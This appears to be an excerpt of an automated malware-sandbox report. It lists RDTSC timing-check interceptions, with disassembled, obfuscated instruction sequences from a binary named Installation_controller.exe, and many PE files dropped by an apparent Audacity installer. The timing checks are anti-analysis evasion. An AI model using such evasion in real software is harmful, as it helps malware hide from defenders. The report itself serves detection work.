Source: C:\ProgramData\Installation_controller.exe	RDTSC instruction interceptor: First address: 000000003F26A70C second address: 000000003F2B4A41 instructions: 0x00000000 rdtsc 0x00000002 seto dl 0x00000005 mov edx, dword ptr [esp+ecx] 0x00000008 sar eax, 6Fh 0x0000000b bswap eax 0x0000000d cmp eax, ebp 0x0000000f sub edi, 00000004h 0x00000015 bsf ax, bx 0x00000019 mov dword ptr [edi], edx 0x0000001b mov eax, dword ptr [esi] 0x0000001d jmp 00007F385D0EF774h 0x00000022 add esi, 00000004h 0x00000028 test ecx, ebx 0x0000002a xor eax, ebx 0x0000002c test sp, dx 0x0000002f clc 0x00000030 add eax, 42893A75h 0x00000035 clc 0x00000036 cmc 0x00000037 rol eax, 02h 0x0000003a jmp 00007F385CFFDF2Fh 0x0000003f dec eax 0x00000040 test bh, 0000001Ch 0x00000043 clc 0x00000044 cmp esp, ebp 0x00000046 not eax 0x00000048 stc 0x00000049 cmp ax, 00007F56h 0x0000004d jmp 00007F385D0AFAA3h 0x00000052 xor ebx, eax 0x00000054 test ah, dl 0x00000056 cmp esi, 13D16209h 0x0000005c jmp 00007F385D782616h 0x00000061 add ebp, eax 0x00000063 jmp 00007F385C960F17h 0x00000068 jmp 00007F385D1D259Ah 0x0000006d lea edx, dword ptr [esp+60h] 0x00000071 cmp edi, edx 0x00000073 jmp 00007F385D059CB4h 0x00000078 ja 00007F385D6558BFh 0x0000007e jmp ebp 0x00000080 movzx ecx, byte ptr [esi] 0x00000083 shrd eax, ecx, 0000004Ah 0x00000087 add dh, bh 0x00000089 lea esi, dword ptr [esi+00000001h] 0x0000008f rcl dh, FFFFFFADh 0x00000092 inc edx 0x00000093 xor cl, bl 0x00000095 rdtsc
Source: C:\ProgramData\Installation_controller.exe	RDTSC instruction interceptor: First address: 000000003F3C0CC8 second address: 000000003F3C0CDC instructions: 0x00000000 rdtsc 0x00000002 pop edi 0x00000003 xor esi, edi 0x00000005 mov ah, bl 0x00000007 pop ebp 0x00000008 adc si, 7F3Fh 0x0000000d btc dx, si 0x00000011 pop esi 0x00000012 cbw 0x00000014 rdtsc
Source: C:\ProgramData\Installation_controller.exe	RDTSC instruction interceptor: First address: 00000000006AEEF5 second address: 000000003EF47073 instructions: 0x00000000 rdtsc 0x00000002 seto dl 0x00000005 mov edx, dword ptr [esp+ecx] 0x00000008 sar eax, 6Fh 0x0000000b bswap eax 0x0000000d cmp eax, ebp 0x0000000f sub edi, 00000004h 0x00000015 bsf ax, bx 0x00000019 mov dword ptr [edi], edx 0x0000001b mov eax, dword ptr [esi] 0x0000001d jmp 00007F385CE63102h 0x00000022 add esi, 00000004h 0x00000028 test ecx, ebx 0x0000002a xor eax, ebx 0x0000002c test sp, dx 0x0000002f clc 0x00000030 add eax, 42893A75h 0x00000035 clc 0x00000036 cmc 0x00000037 rol eax, 02h 0x0000003a jmp 00007F385D1434E5h 0x0000003f dec eax 0x00000040 test bh, 0000001Ch 0x00000043 clc 0x00000044 cmp esp, ebp 0x00000046 not eax 0x00000048 stc 0x00000049 cmp ax, 00007F56h 0x0000004d jmp 00007F385D0D89F5h 0x00000052 xor ebx, eax 0x00000054 test ah, dl 0x00000056 cmp esi, 13D16209h 0x0000005c jmp 00007F385D07F383h 0x00000061 add ebp, eax 0x00000063 jmp 00007F385D12C6D5h 0x00000068 jmp 00007F389B92B14Eh 0x0000006d lea edx, dword ptr [esp+60h] 0x00000071 cmp edi, edx 0x00000073 jmp 00007F381E6953ECh 0x00000078 ja 00007F385CF7D2CBh 0x0000007e jmp ebp 0x00000080 movzx ecx, byte ptr [esi] 0x00000083 shrd eax, ecx, 0000004Ah 0x00000087 add dh, bh 0x00000089 lea esi, dword ptr [esi+00000001h] 0x0000008f rcl dh, FFFFFFADh 0x00000092 inc edx 0x00000093 xor cl, bl 0x00000095 rdtsc
Source: C:\ProgramData\Installation_controller.exe	RDTSC instruction interceptor: First address: 00000000004AE5ED second address: 00000000004AE601 instructions: 0x00000000 rdtsc 0x00000002 pop edi 0x00000003 xor esi, edi 0x00000005 mov ah, bl 0x00000007 pop ebp 0x00000008 adc si, 7F3Fh 0x0000000d btc dx, si 0x00000011 pop esi 0x00000012 cbw 0x00000014 rdtsc
Source: C:\ProgramData\Installation_controller.exe	RDTSC instruction interceptor: First address: 000000003F404373 second address: 000000003F4043A5 instructions: 0x00000000 rdtsc 0x00000002 inc cx 0x00000004 rol eax, FFFFFFF0h 0x00000007 rcr ebx, FFFFFFEBh 0x0000000a inc ecx 0x0000000b pop ebp 0x0000000c pop esi 0x0000000d inc ecx 0x0000000e pop edx 0x0000000f cbw 0x00000011 inc ecx 0x00000012 pop esi 0x00000013 pop edi 0x00000014 rcl dl, cl 0x00000016 inc ecx 0x00000017 pop ecx 0x00000018 adc dh, FFFFFFF0h 0x0000001b inc cx 0x0000001d mov edx, ebp 0x0000001f and bp, 0BE3h 0x00000024 pop ebp 0x00000025 movsx edx, si 0x00000028 inc ecx 0x00000029 and ah, FFFFFFDCh 0x0000002c inc ecx 0x0000002d pop esp 0x0000002e inc ecx 0x0000002f sar ebx, FFFFFF8Eh 0x00000032 rdtsc

Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-7F1IJ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\msvcp140_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\FLAC.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-sentry-reporting.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-KJ41F.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-UJ3RS.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-TDP90.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-theme-resources.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\zlib1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\sndfile.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-HKD6O.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-transactions.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-EGO60.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-UR1D7.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\ogg.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-screen-geometry.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-37ABV.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-5LJ3G.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\portaudio_x64.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-preferences.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\msvcp140.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-K8GOH.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-NOB4R.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-0KP7K.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-exceptions.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-audio-graph.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-basic-ui.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-files.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\libexpat.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-5BTDL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-SO45U.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\wavpackdll.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-IU3MP.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\modules\is-JOTP7.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-theme.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\vorbisenc.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\msvcp140_codecvt_ids.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-cloud-audiocom.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-graphics.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-2SCU5.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\libcurl.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-GAK9A.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-EPTFT.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\crashreporter.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-audio-devices.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-project-rate.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-sample-track.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-L050V.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-module-manager.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-L0CK2.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-V5T2O.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\portmidi.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-9K9M7.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-DEMF3.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-UFU1R.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\vcruntime140.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\opus.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-5AL5G.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-E63DL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-project.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-JALHN.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\modules\mod-script-pipe.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-DBS3U.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-uuid.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-J5UM8.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-ffmpeg-support.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\wxmsw313u_aui_vc_x64_custom.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-6C785.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-AG00V.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-K3IU2.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-9JHT8.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-LAIB1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-string-utils.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-4STCS.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-R9F1C.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-registries.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-VGNVB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-OF8N5.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\wxmsw313u_qa_vc_x64_custom.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\wxmsw313u_html_vc_x64_custom.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\vcruntime140_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-EE795.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\wxbase313u_vc_x64_custom.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\mpg123.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-xml.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\wxmsw313u_core_vc_x64_custom.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-VMF33.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-JO5BM.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-6S7SN.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\vorbisfile.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-track.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-H8I8G.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-8SGGQ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\vorbis.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-ipc.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-KRBVG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-U641C.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-8JNDO.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-MVD1T.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-utility.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\FLAC++.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-CV5R1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\msvcp140_atomic_wait.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-7U34J.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\mod-script-pipe.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-7HBD3.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-math.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-url-schemes.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-5OMUN.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-3RF3V.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-components.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-IOAI2.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-KRBQ3.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-network-manager.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\wxbase313u_xml_vc_x64_custom.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-NKFUD.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-19I02.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\is-32N1E.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-cloud-upload.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp	Dropped PE file which has not been started: C:\Program Files\Audacity\lib-project-history.dll (copy)	Jump to dropped file
